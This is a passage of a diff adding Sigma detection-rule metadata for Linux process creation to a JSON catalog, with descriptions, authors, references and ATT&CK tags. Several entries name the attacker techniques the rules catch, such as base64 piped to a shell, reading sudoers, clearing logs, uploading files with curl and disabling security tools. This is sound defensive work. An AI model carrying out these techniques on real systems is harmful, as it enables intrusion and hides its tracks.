"https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_at_command.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.002" + ] + }, + "uuid": "d2d642d7-b393-43fe-bae4-e81ed5915c4b", + "value": "Scheduled Task/Job At" + }, + { + "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2020/10/19", + "falsepositive": [ + "Legitimate activities" + ], + "filename": "proc_creation_lnx_base64_decode.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_decode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "e2072cab-8c9a-459b-b63c-40ae79e27031", + "value": "Decode Base64 Encoded Text" + }, + { + "description": "Detects suspicious process command line that uses base64 encoded input for execution with a shell", + "meta": { + "author": "pH-T", + "creation_date": "2022/07/26", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_base64_execution.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/arget13/DDexec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ] + }, + "uuid": "ba592c6d-6888-43c3-b8c6-689b8fe47337", + "value": "Linux Base64 Encoded Pipe to Shell" + }, + { + "description": "Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/15", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_base64_shebang_cli.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html", + "https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ] + }, + "uuid": "fe2f9663-41cb-47e2-b954-8a228f3b9dff", + "value": "Linux Base64 Encoded Shebang In CLI" + }, + { + "description": "Detects the usage of the unsafe bpftrace option", + "meta": { + "author": "Andreas Hunkeler (@Karneades)", + "creation_date": "2022/02/11", + "falsepositive": [ + "Legitimate usage of the unsafe option" + ], + "filename": "proc_creation_lnx_bpftrace_unsafe_option_usage.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/", + "https://bpftrace.org/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpftrace_unsafe_option_usage.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ] + }, + "uuid": "f8341cb2-ee25-43fa-a975-d8a5a9714b39", + "value": "BPFtrace Unsafe Option Usage" + }, + { + "description": "Detects the execution of a cat /etc/sudoers to list all users that have sudo rights", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/20", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_cat_sudoers.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/sleventyeleven/linuxprivchecker/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cat_sudoers.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1592.004" + ] + }, + "uuid": "0f79c4d2-4e1f-4683-9c36-b5469a665e06", + "value": "Cat Sudoers" + }, + { + "description": "Detects usage of the 'chattr' utility to remove immutable file attribute.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/15", + "falsepositive": [ + "Administrator interacting with immutable files (e.g. for instance backups)." + ], + "filename": "proc_creation_lnx_chattr_immutable_removal.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_chattr_immutable_removal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.002" + ] + }, + "uuid": "34979410-e4b5-4e5d-8cfb-389fdff05c12", + "value": "Remove Immutable File Attribute" + }, + { + "description": "Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion", + "meta": { + "author": "Ömer Günal, oscd.community", + "creation_date": "2020/10/07", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_clear_logs.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_logs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.002" + ] + }, + "uuid": "80915f59-9b56-4616-9de0-fd0dea6c12fe", + "value": "Clear Linux Logs" + }, + { + "description": "Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks", + "meta": { + "author": "Max Altgelt, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "creation_date": "2021/10/15", + "falsepositive": [ + "Log rotation." + ], + "filename": "proc_creation_lnx_clear_syslog.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_syslog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.002" + ] + }, + "uuid": "3fcc9b35-39e4-44c0-a2ad-9e82b6902b31", + "value": "Commands to Clear or Remove the Syslog" + }, + { + "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", + "meta": { + "author": "Pawel Mazur, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "creation_date": "2021/10/15", + "falsepositive": [ + "Legitimate usage of xclip tools." + ], + "filename": "proc_creation_lnx_clipboard_collection.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.packetlabs.net/posts/clipboard-data-security/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clipboard_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ] + }, + "uuid": "ec127035-a636-4b9a-8555-0efd4e59f316", + "value": "Clipboard Collection with Xclip Tool" + }, + { + "description": "Detects usage of the 'crontab' utility to remove the current crontab.\nThis is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_lnx_crontab_removal.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crontab_removal.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "c2e234de-03a3-41e1-b39a-1e56dc17ba67", + "value": "Remove Scheduled Cron Task/Job" + }, + { + "description": "Detects command line parameters or strings often used by crypto miners", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/10/26", + "falsepositive": [ + "Legitimate use of crypto miners" + ], + "filename": "proc_creation_lnx_crypto_mining.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.poolwatch.io/coin/monero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crypto_mining.yml" + ], + "tags": "No established tags" + }, + "uuid": "9069ea3c-b213-4c52-be13-86506a227ab1", + "value": "Linux Crypto Mining Indicators" + }, + { + "description": "Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/15", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "filename": "proc_creation_lnx_curl_usage.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_curl_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "ea34fb97-e2c4-4afb-810f-785e4459b194", + "value": "Curl Usage on Linux" + }, + { + "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml" + ], + "tags": [ + "attack.initial_access", + "attack.execution", + "attack.t1190", + "attack.t1059", + "cve.2022.26134" + ] + }, + "uuid": "7fb14105-530e-4e2e-8cfb-99f7d8700b66", + "value": "Atlassian Confluence CVE-2022-26134" + }, + { + "description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/20", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", + "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", + "https://github.com/apache/spark/pull/36315/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2022.33891" + ] + }, + "uuid": "c8a5f584-cdc8-42cc-8cce-0398e4265de3", + "value": "Apache Spark Shell Command Injection - ProcessCreation" + }, + { + "description": "Detects potential overwriting and deletion of a file using DD.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "creation_date": "2021/10/15", + "falsepositive": [ + "Any user deleting files that way." + ], + "filename": "proc_creation_lnx_dd_file_overwrite.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-2---macoslinux---overwrite-file-with-dd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ] + }, + "uuid": "2953194b-e33c-4859-b9e8-05948c167447", + "value": "DD File Overwrite" + }, + { + "description": "Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.", + "meta": { + "author": "Sittikorn S, Teoderick Contreras", + "creation_date": "2022/01/20", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_lnx_doas_execution.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://research.splunk.com/endpoint/linux_doas_tool_execution/", + "https://www.makeuseof.com/how-to-install-and-use-doas/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_doas_execution.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ] + }, + "uuid": "067d8238-7127-451c-a9ec-fa78045b618b", + "value": "Linux Doas Tool Execution" + }, + { + "description": "Detects usage of system utilities to discover files and directories", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2020/10/19", + "falsepositive": [ + "Legitimate activities" + ], + "filename": "proc_creation_lnx_file_and_directory_discovery.yml", + "level": "informational", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_and_directory_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ] + }, + "uuid": "d3feb4ee-ff1d-4d3d-bd10-5b28a238cc72", + "value": "File and Directory Discovery" + }, + { + "description": "Detects file deletion using \"rm\", \"shred\" or \"unlink\" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity", + "meta": { + "author": "Ömer Günal, oscd.community", + "creation_date": "2020/10/07", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_file_deletion.yml", + "level": "informational", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ] + }, + "uuid": "30aed7b6-d2c1-4eaf-9382-b6bc43e50c57", + "value": "File Deletion" + }, + { + "description": "Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s", + "meta": { + "author": "Ömer Günal, oscd.community", + "creation_date": "2020/10/05", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_install_root_certificate.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_root_certificate.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.004" + ] + }, + "uuid": "78a80655-a51e-4669-bc6b-e9d206a462ee", + "value": "Install Root Certificate" + }, + { + "description": "Detects enumeration of local systeam accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.", + "meta": { + "author": "Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/08", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_local_account.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_account.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001" + ] + }, + "uuid": "b45e3d6f-42c6-47d8-a478-df6bd6cf534c", + "value": "Local System Accounts Discovery" + }, + { + "description": "Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings", + "meta": { + "author": "Ömer Günal, Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/11", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_local_groups.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_groups.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ] + }, + "uuid": "676381a6-15ca-4d73-a9c8-6a22e970b90d", + "value": "Local Groups Discovery" + }, + { + "description": "Detects enumeration of local or remote network services.", + "meta": { + "author": "Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/21", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_network_service_scanning.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_network_service_scanning.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ] + }, + "uuid": "3e102cd9-a70d-4a7a-9508-403963092f31", + "value": "Linux Network Service Scanning" + }, + { + "description": "Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments", + "meta": { + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "creation_date": "2022/06/06", + "falsepositive": [ + "Administrators or installed processes that leverage nohup" + ], + "filename": "proc_creation_lnx_nohup.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://gtfobins.github.io/gtfobins/nohup/", + "https://en.wikipedia.org/wiki/Nohup", + "https://www.computerhope.com/unix/unohup.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup.yml" + ], + "tags": "No established tags" + }, + "uuid": "e4ffe466-6ff8-48d4-94bd-e32d1a6061e2", + "value": "Nohup Execution" + }, + { + "description": "Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell.\nScript being executed gets created as a temp file in /tmp folder with a scx* prefix.\nThen it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/.\nThe file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "creation_date": "2021/10/15", + "falsepositive": [ + "Legitimate use of SCX RunAsProvider ExecuteScript." + ], + "filename": "proc_creation_lnx_omigod_scx_runasprovider_executescript.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://github.com/Azure/Azure-Sentinel/pull/3059", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executescript.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.initial_access", + "attack.execution", + "attack.t1068", + "attack.t1190", + "attack.t1203" + ] + }, + "uuid": "6eea1bf6-f8d2-488a-a742-e6ef6c1b67db", + "value": "OMIGOD SCX RunAsProvider ExecuteScript" + }, + { + "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "creation_date": "2021/10/15", + "falsepositive": [ + "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand." + ], + "filename": "proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://github.com/Azure/Azure-Sentinel/pull/3059", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.initial_access", + "attack.execution", + "attack.t1068", + "attack.t1190", + "attack.t1203" + ] + }, + "uuid": "21541900-27a9-4454-9c4c-3f0a4240344a", + "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand" + }, + { + "description": "Detects process discovery commands. Adversaries may attempt to get information about running processes on a system.\nInformation obtained could be used to gain an understanding of common software/applications running on systems within the network\n", + "meta": { + "author": "Ömer Günal, oscd.community", + "creation_date": "2020/10/06", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_process_discovery.yml", + "level": "informational", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_process_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1057" + ] + }, + "uuid": "4e2f5868-08d4-413d-899f-dc2f1508627b", + "value": "Process Discovery" + }, + { + "description": "Detects setting proxy configuration", + "meta": { + "author": "Ömer Günal", + "creation_date": "2020/06/17", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_proxy_connection.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://attack.mitre.org/techniques/T1090/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_proxy_connection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1090" + ] + }, + "uuid": "72f4ab3f-787d-495d-a55d-68c2ff46cf4c", + "value": "Connection Proxy" + }, + { + "description": "Detects python spawning a pretty tty", + "meta": { + "author": "Nextron Systems", + "creation_date": "2022/06/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_lnx_python_pty_spawn.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_pty_spawn.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "c4042d54-110d-45dd-a0e1-05c47822c937", + "value": "Python Spawning Pretty TTY" + }, + { + "description": "Detects the enumeration of other remote systems.", + "meta": { + "author": "Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/22", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_remote_system_discovery.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remote_system_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ] + }, + "uuid": "11063ec2-de63-4153-935e-b1a8b9e616f1", + "value": "Linux Remote System Discovery" + }, + { + "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", + "meta": { + "author": "Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/06", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_schedule_task_job_cron.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_schedule_task_job_cron.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1053.003" + ] + }, + "uuid": "6b14bac8-3e3a-4324-8109-42f0546a347f", + "value": "Scheduled Cron Task/Job" + }, + { + "description": "Detects usage of system utilities (only grep and egrep for now) to discover security software discovery", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2020/10/19", + "falsepositive": [ + "Legitimate activities" + ], + "filename": "proc_creation_lnx_security_software_discovery.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518.001" + ] + }, + "uuid": "c9d8b7fd-78e4-44fe-88f6-599135d46d60", + "value": "Security Software Discovery" + }, + { + "description": "Detects disabling security tools", + "meta": { + "author": "Ömer Günal, Alejandro Ortuno, oscd.community", + "creation_date": "2020/06/17", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_security_tools_disabling.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_tools_disabling.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ] + }, + "uuid": "e3a8a052-111f-4606-9aee-f28ebeb76776", + "value": "Disabling Security Tools" + }, + { + "description": "Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/15", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_services_stop_and_disable.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_services_stop_and_disable.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "de25eeb8-3655-4643-ac3a-b662d3f26b6b", + "value": "Disable Or Stop Services" + }, + { + "description": "Detects suspicious change of file privileges with chown and chmod commands", + "meta": { + "author": "Ömer Günal", + "creation_date": "2020/06/16", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_setgid_setuid.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md", + "https://attack.mitre.org/techniques/T1548/001/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_setgid_setuid.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "c21c4eaa-ba2e-419a-92b2-8371703cbe21", + "value": "Setuid and Setgid" + }, + { + "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/10/15", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_lnx_sudo_cve_2019_14287.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.openwall.com/lists/oss-security/2019/10/14/1", + "https://access.redhat.com/security/cve/cve-2019-14287", + "https://twitter.com/matthieugarin/status/1183970598210412546", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_sudo_cve_2019_14287.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "attack.t1548.003", + "cve.2019.14287" + ] + }, + "uuid": "f74107df-b6c6-4e80-bf00-4170b658162b", + "value": "Sudo Privilege Escalation CVE-2019-14287" + }, + { + "description": "Detects chmod targeting files in abnormal directory paths.", + "meta": { + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "creation_date": "2022/06/03", + "falsepositive": [ + "Admin changing file permissions." + ], + "filename": "proc_creation_lnx_susp_chmod_directories.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_chmod_directories.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.002" + ] + }, + "uuid": "6419afd1-3742-47a5-a7e6-b50386cd15f8", + "value": "Chmod Suspicious Directory" + }, + { + "description": "Detects a suspicious curl process start the adds a file to a web request", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/15", + "falsepositive": [ + "Scripts created by developers and admins" + ], + "filename": "proc_creation_lnx_susp_curl_fileupload.yml", + "level": "medium", + "logsource.category": "process_creation", + 